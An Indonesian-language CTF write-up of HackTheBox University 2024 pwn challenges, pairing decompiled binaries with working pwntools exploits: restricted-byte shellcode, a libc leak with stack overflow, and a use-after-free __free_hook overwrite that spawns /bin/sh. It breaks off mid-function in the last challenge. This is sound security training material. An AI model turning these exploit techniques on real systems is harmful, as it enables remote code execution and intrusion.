---
# System prepended metadata

title: 'University CTF 2024: Binary Badlands Pwn Writeup (Bahasa Indonesia)'

---

<style>
img[alt=chall-sc] {
  display: block;
  margin: 0 auto;
  width: 100em; 
}

p {
  text-align: justify;
}

p::first-line {
  text-indent: 0;
}

</style>


# University CTF 2024: Binary Badlands Pwn Writeup (Bahasa Indonesia)
## Reconstruction
![chall-sc](https://hackmd.io/_uploads/rk_Hd86Ekl.png)
Decompile ELFnya
```c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int buf; // [rsp+3h] [rbp-Dh] BYREF
  char v4; // [rsp+7h] [rbp-9h]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  banner(argc, argv, envp);
  buf = 0;
  v4 = 0;
  printstr("\n[*] Initializing components...\n");
  sleep(1u);
  puts("\x1B[1;31m");
  printstr("[-] Error: Misaligned components!\n");
  puts("\x1B[1;34m");
  printstr("[*] If you intend to fix them, type \"fix\": ");
  read(0, &buf, 4uLL);
  if ( !strncmp((const char *)&buf, "fix", 3uLL) )
  {
    puts("\x1B[1;33m");
    printstr("[!] Carefully place all the components: ");
    if ( (unsigned __int8)check() )
      read_flag();
    exit(1312);
  }
  puts("\x1B[1;31m");
  printstr("[-] Mission failed!\n\n");
  exit(1312);
}
```
### check
```c
__int64 check()
{
  __int64 v0; // rbx
  __int64 v1; // rbx
  __int64 v2; // rbx
  __int64 v3; // rbx
  __int64 v4; // rbx
  __int64 v5; // rax
  unsigned __int8 i; // [rsp+Fh] [rbp-71h]
  _QWORD *addr; // [rsp+10h] [rbp-70h]
  __int64 buf; // [rsp+20h] [rbp-60h] BYREF
  __int64 v10; // [rsp+28h] [rbp-58h]
  __int64 v11; // [rsp+30h] [rbp-50h]
  __int64 v12; // [rsp+38h] [rbp-48h]
  __int64 v13; // [rsp+40h] [rbp-40h]
  _BYTE v14[13]; // [rsp+48h] [rbp-38h] BYREF
  __int64 v15; // [rsp+55h] [rbp-2Bh]
  unsigned __int64 v16; // [rsp+68h] [rbp-18h]

  v16 = __readfsqword(0x28u);
  addr = mmap(0LL, 0x3CuLL, 7, 34, -1, 0LL);
  if ( addr == (_QWORD *)-1LL )
  {
    perror("mmap");
    exit(1);
  }
  buf = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  memset(v14, 0, sizeof(v14));
  v15 = 0LL;
  read(0, &buf, 0x3CuLL);
  v0 = v10;
  *addr = buf;
  addr[1] = v0;
  v1 = v12;
  addr[2] = v11;
  addr[3] = v1;
  v2 = *(_QWORD *)v14;
  addr[4] = v13;
  addr[5] = v2;
  v3 = v15;
  *(_QWORD *)((char *)addr + 45) = *(_QWORD *)&v14[5];
  *(_QWORD *)((char *)addr + 53) = v3;
  if ( !(unsigned int)validate_payload(addr, 59LL) )
  {
    error("Invalid payload! Execution denied.\n");
    exit(1);
  }
  ((void (*)(void))addr)();
  munmap(addr, 0x3CuLL);
  for ( i = 0; i <= 6u; ++i )
  {
    if ( regs((&::buf)[i]) != values[i] )
    {
      v4 = values[i];
      v5 = regs((&::buf)[i]);
      printf(
        "%s\n[-] Value of [ %s$%s%s ]: [ %s0x%lx%s ]%s\n\n[+] Correct value: [ %s0x%lx%s ]\n\n",
        "\x1B[1;31m",
        "\x1B[1;35m",
        (&::buf)[i],
        "\x1B[1;31m",
        "\x1B[1;35m",
        v5,
        "\x1B[1;31m",
        "\x1B[1;32m",
        "\x1B[1;33m",
        v4,
        "\x1B[1;32m");
      return 0LL;
    }
  }
  return 1LL;
}
``` 
### values
```c
_QWORD values[8] =
{
  0x1337c0de,
  0xdeadbeef,
  0xdead1337,
  0x1337cafe,
  0xbeefc0de,
  0x13371337,
  0x1337dead,
  0x0
}; // weak
```
### validate_payload

```c
__int64 __fastcall validate_payload(__int64 a1, unsigned __int64 a2)
{
  int v3; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 i; // [rsp+18h] [rbp-18h]
  unsigned __int64 j; // [rsp+20h] [rbp-10h]

  for ( i = 0LL; i < a2; ++i )
  {
    v3 = 0;
    for ( j = 0LL; j <= 0x11; ++j )
    {
      if ( *(_BYTE *)(a1 + i) == allowed_bytes[j] )
      {
        v3 = 1;
        break;
      }
    }
    if ( !v3 )
    {
      printf("%s\n[-] Invalid byte detected: 0x%x at position %zu\n", "\x1B[1;31m", *(unsigned __int8 *)(a1 + i), i);
      return 0LL;
    }
  }
  return 1LL;
}
```
### allowed_bytes
```c
_BYTE allowed_bytes[32] =
{
  73,
  -57,
  -71,
  -64,
  -34,
  55,
  19,
  -60,
  -58,
  -17,
  -66,
  -83,
  -54,
  -2,
  -61,
  0,
  -70,
  -67,
  0,
  0,
  0,
  0,
  0,
  0,
  0,
  0,
  0,
  0,
  0,
  0,
  0,
  0
};
```
### read_flag
```c
unsigned __int64 read_flag()
{
  char buf; // [rsp+3h] [rbp-Dh] BYREF
  int fd; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fd = open("./flag.txt", 0);
  if ( fd < 0 )
  {
    perror("\nError opening flag.txt, please contact an Administrator\n");
    exit(1);
  }
  while ( read(fd, &buf, 1uLL) > 0 )
    fputc(buf, _bss_start);
  close(fd);
  return v3 - __readfsqword(0x28u);
}
```
Intinya kita ngeset value register r8, r9, r10, r12, r13, r14, dan r15 dengan hanya menggunakan bytes yang di allowed. Set valuenya sesuai dengan yang dicek di fungsi `check`. Karena stacknya `executable`, kita gunakan shellcode agar fungsi `read_flag` ditrigger sehingga flag ditampilkan di layar kita
r8 -> 0x1337c0de
r9 -> 0xdeadbeef
r10 -> 0xdead1337
r12 -> 0x1337cafe
r13 -> 0xbeefc0de
r14 -> 0x13371337
r15 -> 0x1337dead
### POC
```python
#!/usr/bin/env python3

from pwn import *
import inspect
context.terminal = "kitty @launch --location=split --cwd=current".split()


def start(argv=[], *a, **kw):
    if args.LOCAL:
        argv = argv if argv else [exe.path]
        if args.GDB:
            return gdb.debug(argv, gdbscript=gdbscript, *a, **kw)
        return process(argv, *a, **kw)
    return remote(args.HOST or host, args.PORT or port, *a, **kw)

gdbscript = """
c
"""
host, port = "nc 94.237.50.242 41892".split(" ")[1:3]
exe = context.binary = ELF(args.EXE or "./reconstruction", False) 

io = start()
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
def li(value, name=None):
    if name is None:
        frame = inspect.currentframe().f_back
        name = [k for k, v in frame.f_locals.items() if v is value][0]
    log.info(f"{name}: {hex(value)}")
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
e = lambda a: a.encode()
cl = lambda: io.close()
rlf = lambda: io.recvline(0)
bfh = lambda a: bytes.fromhex(a)

context.log_level = 'debug'
sl(b'fix')                            
sc = asm('''
    mov r8, 0x1337c0de
    mov r9, 0xdeadbeef
    mov r10, 0xdead1337
    mov r12, 0x1337cafe
    mov r13, 0xbeefc0de
    mov r14, 0x13371337
    mov r15, 0x1337dead
    ret
    ''')
log.info(f"sc length: {len(sc)}")
sl(sc)
com()
```
`HTB{r3c0n5trucT_d3m_r3g5_e3e217497c70cb12d3ae96b09a29184c}`
## Recruitment
![chall-sc](https://hackmd.io/_uploads/rklppI64yg.png)
Decompile ELFnya
### main
```c++
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 v3; // rax
  char *v4; // rbx
  _BYTE v6[32]; // [rsp+0h] [rbp-280h] BYREF
  __int64 v7; // [rsp+20h] [rbp-260h] BYREF
  __int64 v8; // [rsp+40h] [rbp-240h] BYREF
  _BYTE v9[32]; // [rsp+70h] [rbp-210h] BYREF
  __int64 v10; // [rsp+90h] [rbp-1F0h] BYREF
  __int64 v11; // [rsp+B0h] [rbp-1D0h] BYREF
  _BYTE v12[112]; // [rsp+E0h] [rbp-1A0h] BYREF
  _BYTE v13[47]; // [rsp+150h] [rbp-130h] BYREF
  char v14; // [rsp+17Fh] [rbp-101h] BYREF
  _BYTE v15[47]; // [rsp+180h] [rbp-100h] BYREF
  char v16; // [rsp+1AFh] [rbp-D1h] BYREF
  _BYTE v17[32]; // [rsp+1B0h] [rbp-D0h] BYREF
  _BYTE v18[32]; // [rsp+1D0h] [rbp-B0h] BYREF
  _BYTE v19[32]; // [rsp+1F0h] [rbp-90h] BYREF
  _BYTE v20[32]; // [rsp+210h] [rbp-70h] BYREF
  _BYTE v21[40]; // [rsp+230h] [rbp-50h] BYREF
  char *v22; // [rsp+258h] [rbp-28h]
  char *v23; // [rsp+260h] [rbp-20h]
  char **profile; // [rsp+268h] [rbp-18h]

  Profile::Profile((Profile *)v9);
  Profile::Profile((Profile *)v6);
  while ( flag != 3 )
  {
    v3 = menu();
    if ( v3 == 3 )
    {
      if ( flag )
      {
        std::string::basic_string(v21, v6);
        journey((__int64)v21);
        std::string::~string(v21);
      }
      else
      {
        error("You need to set up your profile first!\n");
      }
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_17;
      if ( v3 == 1 )
      {
        if ( flag == 1 )
        {
          error("You cannot create a second profile!\n");
        }
        else
        {
          profile = create_profile();
          v4 = profile[2];
          v23 = &v14;
          std::string::basic_string<std::allocator<char>>(v13, profile[1], &v14);
          v22 = &v16;
          std::string::basic_string<std::allocator<char>>(v15, *profile, &v16);
          Profile::Profile(v12, v15, v13, v4);
          Profile::operator=(v6, v12);
          Profile::~Profile((Profile *)v12);
          std::string::~string(v15);
          std::__new_allocator<char>::~__new_allocator(&v16);
          std::string::~string(v13);
          std::__new_allocator<char>::~__new_allocator(&v14);
        }
      }
      else
      {
        if ( v3 != 2 )
        {
LABEL_17:
          error("Invalid operation! Safety mechanism activated! Abort the room!\n");
          exit(1312);
        }
        if ( flag )
        {
          std::string::basic_string(v19, &v7);
          std::string::basic_string(v20, v6);
          Profile::display(v6, v20, v19, &v8);
          std::string::~string(v20);
          std::string::~string(v19);
        }
        else
        {
          std::string::basic_string(v17, &v10);
          std::string::basic_string(v18, v9);
          Profile::display(v9, v18, v17, &v11);
          std::string::~string(v18);
          std::string::~string(v17);
        }
      }
    }
  }
  Profile::~Profile((Profile *)v6);
  Profile::~Profile((Profile *)v9);
  return 0;
}
```
### create_profile
```c++
char **create_profile(void)
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  const char *v14; // rax
  const char *v15; // rax
  char **v16; // rbx
  char buf[256]; // [rsp+0h] [rbp-160h] BYREF
  _BYTE v19[32]; // [rsp+100h] [rbp-60h] BYREF
  _BYTE v20[32]; // [rsp+120h] [rbp-40h] BYREF
  char **v21; // [rsp+140h] [rbp-20h]
  int i; // [rsp+14Ch] [rbp-14h]

  v21 = (char **)operator new[](0x18uLL);
  for ( i = 0; i <= 2; ++i )
    v21[i] = (char *)operator new[](0x64uLL);
  std::string::basic_string(v20);
  std::string::basic_string(v19);
  fflush(_bss_start);
  std::operator<<<std::char_traits<char>>(
    &std::cout,
    "\n[*] You need to enter your Name, Class, and Age.\n\n[+] Name:  ");
  std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v20);
  std::operator<<<std::char_traits<char>>(&std::cout, "[+] Class: ");
  std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v19);
  std::operator<<<std::char_traits<char>>(&std::cout, "[+] Age:   ");
  read(0, buf, 32uLL);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_404010);
  v1 = std::operator<<<std::char_traits<char>>(v0, "\x1B[1;35m");
  v2 = std::operator<<<char>(v1, v20);
  v3 = std::operator<<<std::char_traits<char>>(v2, "\x1B[1;34m");
  v4 = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  v5 = std::operator<<<std::char_traits<char>>(v4, "[*] Class: ");
  v6 = std::operator<<<std::char_traits<char>>(v5, "\x1B[1;33m");
  v7 = std::operator<<<char>(v6, v19);
  v8 = std::operator<<<std::char_traits<char>>(v7, "\x1B[1;34m");
  v9 = std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
  v10 = std::operator<<<std::char_traits<char>>(v9, "[*] Age:   ");
  v11 = std::operator<<<std::char_traits<char>>(v10, buf);
  v12 = std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
  v13 = std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
  std::operator<<<std::char_traits<char>>(v13, &unk_404128);
  buf[strcspn(buf, "\n")] = 0;
  v14 = (const char *)std::string::c_str(v20);
  strcpy(*v21, v14);
  v15 = (const char *)std::string::c_str(v19);
  strcpy(v21[1], v15);
  strcpy(v21[2], buf);
  flag = 1;
  v16 = v21;
  std::string::~string(v19);
  std::string::~string(v20);
  return v16;
}
```
### journey
```c++
__int64 __fastcall journey(__int64 a1)
{
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  char v8[8]; // [rsp+10h] [rbp-20h] BYREF
  __int64 v9; // [rsp+18h] [rbp-18h]
  __int64 v10; // [rsp+20h] [rbp-10h]
  __int64 v11; // [rsp+28h] [rbp-8h]

  flag = 3;
  v1 = std::operator<<<std::char_traits<char>>(
         &std::cout,
         "\x1B[1;32m\n[!] The fate of the Frontier Cluster lies on loyal and brave Space Cowpokes like you [ ");
  v2 = std::operator<<<std::char_traits<char>>(v1, "\x1B[1;35m");
  v3 = std::operator<<<char>(v2, a1);
  v4 = std::operator<<<std::char_traits<char>>(v3, "\x1B[1;32m");
  v5 = std::operator<<<std::char_traits<char>>(v4, " ].");
  v6 = std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  std::operator<<<std::char_traits<char>>(
    v6,
    "    We need you to tell us a bit about you so that we can assign to you your first mission: ");
  *(_QWORD *)v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  return std::istream::getline((std::istream *)&std::cin, v8, 47LL);
}
```
Kita bisa mendapatkan address `_IO_file_xsputn+506` dari `read(0, buf, 32uLL)` jika kita mengoverwrite 1 byte lsb dari address tersebut tanpa menggunakan newline `\n`, dan ada buffer overflow 7 bytes di `std::istream::getline((std::istream *)&std::cin, v8, 47LL)` pada fungsi `journey` karena ukuran v8 adalah 32 bytes `char v8 (rbp-0x20)`. Jadi untuk mengoverwrite `saved_rip` pasti 40 bytes (32 + 8). Overwrite `saved rip` menjadi `posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)` untuk mentrigger `arbitrary code execution`
### POC
```python
#!/usr/bin/env python3

from pwn import *
import inspect
context.terminal = "kitty @launch --location=split --cwd=current".split()


def start(argv=[], *a, **kw):
    if args.LOCAL:
        argv = argv if argv else [exe.path]
        if args.GDB:
            return gdb.debug(argv, gdbscript=gdbscript, *a, **kw)
        return process(argv, *a, **kw)
    return remote(args.HOST or host, args.PORT or port, *a, **kw)

gdbscript = """
c
"""
host, port = "nc 94.237.61.84 48717".split(" ")[1:3]
exe = context.binary = ELF(args.EXE or "./recruitment", False) 

io = start()
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
def li(value, name=None):
    if name is None:
        frame = inspect.currentframe().f_back
        name = [k for k, v in frame.f_locals.items() if v is value][0]
    log.info(f"{name}: {hex(value)}")
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
cl = lambda: io.close()
rlf = lambda: io.recvline(0)
bfh = lambda a: bytes.fromhex(a)

libc = ELF("./glibc/libc.so.6")
context.log_level = 'debug'
def create_profile(name, claz, age):
    sla(b'$ ', b'1')
    sla(b'Name:  ', name)
    sla(b'Class: ', claz)
    sa(b'Age:   ', age)

def show_profile():
    sla(b'$ ', b'2')

def start_journey(p):
    sl(p)

create_profile(b'A' * 8, b'B' * 8, b'C' * 25)
rud(b'[*] Age:   ' + b'C' * 25)
_IO_file_xsputn_506 = u64(lj(b'\xca' + io.recv(5), 8, b'\0'))
li(_IO_file_xsputn_506)
libc.address = _IO_file_xsputn_506 - 0x93bca
li(libc.address, "libc_base")
sla(b'$ ', b'3')
start_journey(cyclic(0x28) + p64(libc.address + 0x583e3)[:-2])
com()
```
`HTB{R34dy_0R_n0t_w3_4r3_c0m1ng_eedf733c3a917e1ba9ad718c5711fa8a}`
## Prison Break
![chall-sc](https://hackmd.io/_uploads/HJd7xvaNJe.png)
Decompile ELFnya
### main
```c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  banner();
  while ( 1 )
  {
    while ( 1 )
    {
      v3 = menu();
      if ( v3 != 4 )
        break;
      copy_paste();
    }
    if ( v3 > 4 )
    {
LABEL_12:
      error("Invalid option");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          view();
          break;
        case 1:
          create();
          break;
        case 2:
          delete();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}
```
### create
```c
unsigned __int64 create()
{
  void *v0; // rax
  bool v2; // [rsp+7h] [rbp-29h]
  __int64 v3; // [rsp+8h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+10h] [rbp-20h] BYREF
  _QWORD *v5; // [rsp+18h] [rbp-18h]
  __int16 buf; // [rsp+26h] [rbp-Ah] BYREF
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  if ( (unsigned int)bounty_idx > 49 )
  {
    error("Maximum number of bounty registrations reached. Shutting down...");
    exit(-1);
  }
  printf("Bounty amount (Zell Bars): ");
  v3 = 0LL;
  __isoc99_scanf("%lu", &v3);
  printf("Wanted alive (y/n): ");
  buf = 0;
  read(0, &buf, 2uLL);
  HIBYTE(buf) = 0;
  v2 = strcmp((const char *)&buf, "y") == 0;
  printf("Description size: ");
  v4 = 0LL;
  __isoc99_scanf("%lu", &v4);
  if ( v4 <= 0x64 )
  {
    v5 = malloc(0x20uLL);
    if ( !v5 )
    {
      error("Failed to allocate space for bounty");
      exit(-1);
    }
    v5[1] = v3;
    *((_BYTE *)v5 + 25) = v2;
    v5[2] = v4;
    v0 = malloc(v5[2]);
    *v5 = v0;
    *((_BYTE *)v5 + 24) = 1;
    if ( !*v5 )
    {
      error("Failed to allocate space for bounty description");
      exit(-1);
    }
    puts("Bounty description:");
    read(0, (void *)*v5, v5[2]);
    Bounties[bounty_idx] = v5;
    printf("Bounty ID: %d\n\n", bounty_idx);
    ++bounty_idx;
  }
  else
  {
    error("Description size exceeds size limit");
  }
  return __readfsqword(0x28u) ^ v7;
}
```
### view
```c
unsigned __int64 view()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Journal index:");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0xA )
  {
    if ( !Chunks[v1] )
      error("Journal index does not exist");
    if ( *(_BYTE *)(Chunks[v1] + 16LL) != 1 )
      error("Journal is not inuse");
    else
      printf(
        "Day #%s%u%s entry:\n%s\n",
        "\x1B[1;31m",
        *(_DWORD *)(Chunks[v1] + 20LL),
        "\x1B[1;97m",
        *(const char **)Chunks[v1]);
  }
  else
  {
    error("Journal index out of range");
  }
  return __readfsqword(0x28u) ^ v2;
}
```
### delete
```c
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Journal index:");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0xA )
  {
    if ( Chunks[v1] && *(_BYTE *)(Chunks[v1] + 16LL) )
    {
      *(_BYTE *)(Chunks[v1] + 16LL) = 0;
      free(*(void **)Chunks[v1]);
    }
    else
    {
      error("Journal is not inuse");
    }
  }
  else
  {
    error("Journal index out of range");
  }
  return __readfsqword(0x28u) ^ v2;
}
```
### copy_paste
```c
unsigned __int64 copy_paste()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v1 = 0;
  v2 = 0;
  puts("Copy index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0xA || (puts("Paste index:"), __isoc99_scanf("%d", &v2), v2 >= 0xA) )
  {
    error("Index out of range");
  }
  else if ( Chunks[v1] && Chunks[v2] )
  {
    if ( *(_BYTE *)(Chunks[v1] + 16LL) || *(_BYTE *)(Chunks[v2] + 16LL) )
    {
      if ( *(_QWORD *)(Chunks[v1] + 8LL) <= *(_QWORD *)(Chunks[v2] + 8LL) )
      {
        *(_DWORD *)(Chunks[v2] + 20LL) = day;
        memcpy(*(void **)Chunks[v2], *(const void **)Chunks[v1], *(_QWORD *)(Chunks[v1] + 8LL));
        puts("Copy successfull!\n");
      }
      else
      {
        error("Copy index size cannot be larger than the paste index size");
      }
    }
    else
    {
      error("Journal index not in use");
    }
  }
  else
  {
    error("Invalid copy/paste index");
  }
  return __readfsqword(0x28u) ^ v3;
}
```
Terdapat `Use-After-Free` vulnerability di `free(*(void **)Chunks[v1])` karena pointer ke journal tidak di null setelah difreed. Meskipun index chunk di null setelah kita mendelete suatu journal `*(_BYTE *)(Chunks[v1] + 16LL) = 0`, kita tetap bisa mengoverwrite freed chunk tersebut dengan journal di index lain karena pengecekan di fungsi `copy_paste` menggunakan `or` untuk kondisi `if` jadi jika `copy_index` valid dan `copy_destination` invalid, maka tetap valid `if ( *(_BYTE *)(Chunks[v1] + 0x10LL) || *(_BYTE *)(Chunks[v2] + 0x10LL) )`. GLIBC yang digunakan ELF tersebut adalah GLIBC 2.27 yang masih mempunyai `__free_hook` dan `__malloc_hook` serta tidak ada `safe-linking`. Jadi, untuk mentrigger `arbitrary code execution`, kita bisa mengoverwrite `__free_hook` menjadi `execve("/bin/sh", rsp+0x40, environ)` kemudian mendelete salah satu journal yang telah kita buat agar `free` ditrigger
### POC
```python
#!/usr/bin/env python3

from pwn import *
import inspect
context.terminal = "kitty @launch --location=split --cwd=current".split()


def start(argv=[], *a, **kw):
    if args.LOCAL:
        argv = argv if argv else [exe.path]
        if args.GDB:
            return gdb.debug(argv, gdbscript=gdbscript, *a, **kw)
        return process(argv, *a, **kw)
    return remote(args.HOST or host, args.PORT or port, *a, **kw)

gdbscript = """
c
"""
host, port = "nc 83.136.250.185 32651".split(" ")[1:3]
exe = context.binary = ELF(args.EXE or "./prison_break", False) 
libc = ELF("./glibc/libc.so.6", checksec = 0)
ld = ELF("./glibc/ld-2.27.so")

io = start()
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
def li(value, name=None):
    if name is None:
        frame = inspect.currentframe().f_back
        name = [k for k, v in frame.f_locals.items() if v is value][0]
    log.info(f"{name}: {hex(value)}")
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
cl = lambda: io.close()
rlf = lambda: io.recvline(0)
bfh = lambda a: bytes.fromhex(a)

def add(idx, sz, data):
    sla(b'# ', b'1')
    sl(str(idx).encode())
    sl(str(sz).encode())
    s(data)

def delete(idx):
    sla(b'# ', b'2')
    sl(str(idx).encode())

def view(idx):
    sla(b'# ', b'3')
    sl(str(idx).encode())

def copas(src_idx, dest_idx):
    sla(b'# ', b'4')
    sl(str(src_idx).encode())
    sl(str(dest_idx).encode())

context.log_level = 'debug'
libc = ELF("./glibc/libc.so.6", checksec = 0)
io.recv()
add(0, 0x428, b'#')
add(1, 0x428, b'#')
delete(0)       
copas(0, 1)
view(1)   
for i in range(0, 3):
    rl()
main_arena_96 = u64(lj(rud(b'\n'), 8, b'\0'))
li(main_arena_96)
libc.address = main_arena_96 - 0x3ebca0
assert libc.address & 0xfff == 0
li(libc.address, "libc_base")
__free_hook = libc.address + 0x3ed8e8
add(2, 0x28, b'#')
add(3, 0x28, b'#')
add(4, 0x28, p64(__free_hook))
delete(3)
delete(2)
copas(4, 2)
add(2, 0x28, b'#')
add(3, 0x28, p64(libc.address + 0x4f432))
delete(2)
com()
```
`HTB{h4cky_pr1s0n_br34k_142941001a13ddad70f7655dbd183521}`
## Dead or Alive
Lupa discreenshot deskripsi challengenya, tapi tidak penting juga deskripsinya karena hanya basa-basi.
Decompile ELFnya
### main
```c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  banner();
  while ( 1 )
  {
    while ( 1 )
    {
      v3 = menu();
      if ( v3 != 3 )
        break;
      view();
    }
    if ( v3 > 3 )
    {
LABEL_10:
      error("Invalid option");
    }
    else if ( v3 == 1 )
    {
      create();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_10;
      delete();
    }
  }
}
```
### menu
```c
__int64 menu()
{
  unsigned int v1; // [rsp+Ch] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+10h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf(
    "   [ %sOfficial Bounty Service%s ]\n"
    "#################################\n"
    "## %s[1] Register bounty      %s   ##\n"
    "## %s[2] Remove bounty        %s   ##\n"
    "## %s[3] View registered bounty %s ##\n"
    "#################################\n"
    "==> ",
    "\x1B[1;31m",
    "\x1B[1;97m",
    "\x1B[1;31m",
    "\x1B[1;97m",
    "\x1B[1;31m",
    "\x1B[1;97m",
    "\x1B[1;31m",
    "\x1B[1;97m");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  putchar(10);
  return v1;
}
```
### create
```c
unsigned __int64 create()
{
  void *v0; // rax
  bool v2; // [rsp+7h] [rbp-29h]
  __int64 v3; // [rsp+8h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+10h] [rbp-20h] BYREF
  _QWORD *v5; // [rsp+18h] [rbp-18h]
  __int16 buf; // [rsp+26h] [rbp-Ah] BYREF
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  if ( (unsigned int)bounty_idx > 0x31 )
  {
    error("Maximum number of bounty registrations reached. Shutting down...");
    exit(-1);
  }
  printf("Bounty amount (Zell Bars): ");
  v3 = 0LL;
  __isoc99_scanf("%lu", &v3);
  printf("Wanted alive (y/n): ");
  buf = 0;
  read(0, &buf, 2uLL);
  HIBYTE(buf) = 0;
  v2 = strcmp((const char *)&buf, "y") == 0;
  printf("Description size: ");
  v4 = 0LL;
  __isoc99_scanf("%lu", &v4);
  if ( v4 <= 0x64 )
  {
    v5 = malloc(0x20uLL);
    if ( !v5 )
    {
      error("Failed to allocate space for bounty");
      exit(-1);
    }
    v5[1] = v3;
    *((_BYTE *)v5 + 25) = v2;
    v5[2] = v4;
    v0 = malloc(v5[2]);
    *v5 = v0;
    *((_BYTE *)v5 + 24) = 1;
    if ( !*v5 )
    {
      error("Failed to allocate space for bounty description");
      exit(-1);
    }
    puts("Bounty description:");
    read(0, (void *)*v5, v5[2]);
    Bounties[bounty_idx] = v5;
    printf("Bounty ID: %d\n\n", bounty_idx);
    ++bounty_idx;
  }
  else
  {
    error("Description size exceeds size limit");
  }
  return __readfsqword(0x28u) ^ v7;
}
```
### delete
```c
unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Bounty ID: ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 < (unsigned int)bounty_idx )
  {
    if ( *(_BYTE *)(Bounties[v1] + 24LL) == 1 && *(_QWORD *)Bounties[v1] )
    {
      free(*(void **)Bounties[v1]);
      *(_QWORD *)Bounties[v1] = 0LL;
      *(_BYTE *)(Bounties[v1] + 24LL) = 0;
      free((void *)Bounties[v1]);
      putchar(10);
    }
    else
    {
      error("Invalid ID");
    }
  }
  else
  {
    error("Bounty ID out of range");
  }
  return __readfsqword(0x28u) ^ v2;
}
```
### view
```c
unsigned __int64 view()
{
  const char *v0; // rax
  unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Bounty ID: ");
  v2 = 0;
  __isoc99_scanf("%d", &v2);
  if ( v2 < 0x32 )
  {
    if ( Bounties[v2] )
    {
      if ( *(_BYTE *)(Bounties[v2] + 24LL) != 1 )
      {
        error("Bounty has been removed");
      }
      else
      {
